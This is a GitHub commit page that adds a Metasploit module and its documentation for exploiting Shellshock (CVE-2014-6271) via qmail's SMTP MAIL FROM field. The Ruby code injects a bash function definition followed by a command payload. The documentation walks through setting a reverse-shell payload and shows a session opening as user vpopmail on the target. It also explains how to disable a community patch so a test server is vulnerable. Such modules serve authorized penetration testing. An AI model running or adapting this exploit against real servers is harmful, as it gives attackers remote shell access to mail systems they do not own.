Skip to content

Commit 9b75ef7

Browse files
committed
Land rapid7#8343, qmail Shellshock module
2 parents 2546021 + daedf0d commit 9b75ef7

File tree

2 files changed

+191
-0
lines changed

2 files changed

+191
-0
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
## Vulnerable Application
2+
3+
Any qmail version (works on latest versions, qmail-1.03 and netqmail-1.06) running on a system with a vulnerable BASH (Shellshock). In order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually [email protected]). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed.
4+
5+
## Setting up a vulnerable environment
6+
7+
Install Qmail on a Linux server with a shellshock vulnerable bash. Ensure that /bin/sh is linked to bash. Create an e-mail account on that qmail server. IMPORTANT: there is a community version of qmail, "qmailrocks" (http://qmailrocks.thibs.com/) which apply a patch that checks the vulnerable MAILFROM parameter. This version (with the patch applied) is NOT vulnerable. If you are using this version, change the "int mfcheck()" function on qmail-smtpd.c and ensure it returns always 0 (after applying the patch) and re-compile qmail-smtpd.
8+
9+
## Verification Steps
10+
11+
1. `use exploit/unix/smtp/qmail_bash_env_exec`
12+
2. `set RHOST <target IP>`
13+
3. `set MAILTO <valid e-mail recipient>`
14+
4. `set payload cmd/unix/reverse`
15+
5. `set LHOST <local IP>`
16+
7. optionally set `RPORT` and `LPORT`
17+
8. `exploit`
18+
9. **Verify** a new shell session is started
19+
20+
## Options
21+
22+
**MAILTO**
23+
24+
A valid e-mail recipient. Usually, [email protected] can be used.
25+
26+
## Sample Output
27+
**Tested on qmail-1.03 on Debian 6.0.6 (squeeze). BASH version 4.1.5(1).**
28+
29+
```
30+
msf > use exploit/unix/smtp/qmail_bash_env_exec
31+
msf exploit(qmail_bash_env_exec) > set rhost 192.168.1.113
32+
rhost => 192.168.1.113
33+
msf exploit(qmail_bash_env_exec) > set mailto "[email protected]"
34+
35+
msf exploit(qmail_bash_env_exec) > set payload cmd/unix/reverse
36+
payload => cmd/unix/reverse
37+
msf exploit(qmail_bash_env_exec) > show options
38+
39+
Module options (exploit/unix/smtp/qmail_bash_env_exec):
40+
41+
Name Current Setting Required Description
42+
---- --------------- -------- -----------
43+
MAILTO [email protected] yes TO address of the e-mail
44+
RHOST 192.168.1.113 yes The target address
45+
RPORT 25 yes The target port (TCP)
46+
47+
48+
Payload options (cmd/unix/reverse):
49+
50+
Name Current Setting Required Description
51+
---- --------------- -------- -----------
52+
LHOST 192.168.1.102 yes The listen address
53+
LPORT 4444 yes The listen port
54+
55+
56+
Exploit target:
57+
58+
Id Name
59+
-- ----
60+
0 Automatic
61+
62+
63+
msf exploit(qmail_bash_env_exec) > run
64+
65+
[*] Started reverse TCP double handler on 192.168.1.102:4444
66+
[*] 192.168.1.113:25 - Sending the payload...
67+
[*] 192.168.1.113:25 - Sending RCPT TO [email protected]
68+
[*] Accepted the first client connection...
69+
[*] Accepted the second client connection...
70+
[*] Command: echo RvZfov9i2ZuveLXA;
71+
[*] Writing to socket A
72+
[*] Writing to socket B
73+
[*] Reading from sockets...
74+
[*] Reading from socket B
75+
[*] B: "RvZfov9i2ZuveLXA\r\n"
76+
[*] Matching...
77+
[*] A is input...
78+
[*] Command shell session 19 opened (192.168.1.102:4444 -> 192.168.1.113:48167) at 2017-05-04 15:11:02 +0200
79+
80+
whoami
81+
vpopmail
82+
```
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::Remote::Smtp
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
14+
'Description' => %q{
15+
This module exploits a shellshock vulnerability on Qmail, a public
16+
domain MTA written in C that runs on Unix systems.
17+
Due to the lack of validation on the MAIL FROM field, it is possible to
18+
execute shell code on a system with a vulnerable BASH (Shellshock).
19+
This flaw works on the latest Qmail versions (qmail-1.03 and
20+
netqmail-1.06).
21+
However, in order to execute code, /bin/sh has to be linked to bash
22+
(usually default configuration) and a valid recipient must be set on the
23+
RCPT TO field (usually [email protected]).
24+
The exploit does not work on the "qmailrocks" community version
25+
as it ensures the MAILFROM field is well-formed.
26+
},
27+
'Author' =>
28+
[
29+
'Mario Ledo (Metasploit module)',
30+
'Gabriel Follon (Metasploit module)',
31+
'Kyle George (Vulnerability discovery)'
32+
],
33+
'License' => MSF_LICENSE,
34+
'Platform' => ['unix'],
35+
'Arch' => ARCH_CMD,
36+
'References' =>
37+
[
38+
['CVE', '2014-6271'],
39+
['CWE', '94'],
40+
['OSVDB', '112004'],
41+
['EDB', '34765'],
42+
['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
43+
['URL', 'https://lists.gt.net/qmail/users/138578']
44+
],
45+
'Payload' =>
46+
{
47+
'BadChars' => "\x3e",
48+
'Space' => 888,
49+
'DisableNops' => true,
50+
'Compat' =>
51+
{
52+
'PayloadType' => 'cmd',
53+
'RequiredCmd' => 'generic telnet perl ruby python'
54+
# telnet ruby python and perl works only if installed on target
55+
}
56+
},
57+
'Targets' => [ [ 'Automatic', { }] ],
58+
'DefaultTarget' => 0,
59+
'DisclosureDate' => 'Sep 24 2014'
60+
))
61+
62+
deregister_options('MAILFROM')
63+
end
64+
65+
def smtp_send(data = nil)
66+
begin
67+
result = ''
68+
code = 0
69+
sock.put("#{data}")
70+
result = sock.get_once
71+
result.chomp! if (result)
72+
code = result[0..2].to_i if result
73+
return result, code
74+
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
75+
return result, 0
76+
rescue ::Exception => e
77+
print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
78+
return nil, 0
79+
end
80+
end
81+
82+
def exploit
83+
to = datastore['MAILTO']
84+
connect
85+
result = smtp_send("HELO localhost\r\n")
86+
if result[1] < 200 || result[1] > 300
87+
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
88+
end
89+
print_status('Sending the payload...')
90+
result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
91+
if result[1] < 200 || result[1] > 300
92+
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
93+
end
94+
print_status("Sending RCPT TO #{to}")
95+
result = smtp_send("rcpt to:<#{to}>\r\n")
96+
if result[1] < 200 || result[1] > 300
97+
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
98+
end
99+
result = smtp_send("data\r\n")
100+
if result[1] < 200 || result[1] > 354
101+
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
102+
end
103+
result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
104+
if result[1] < 200 || result[1] > 300
105+
fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
106+
end
107+
disconnect
108+
end
109+
end

0 commit comments

Comments
 (0)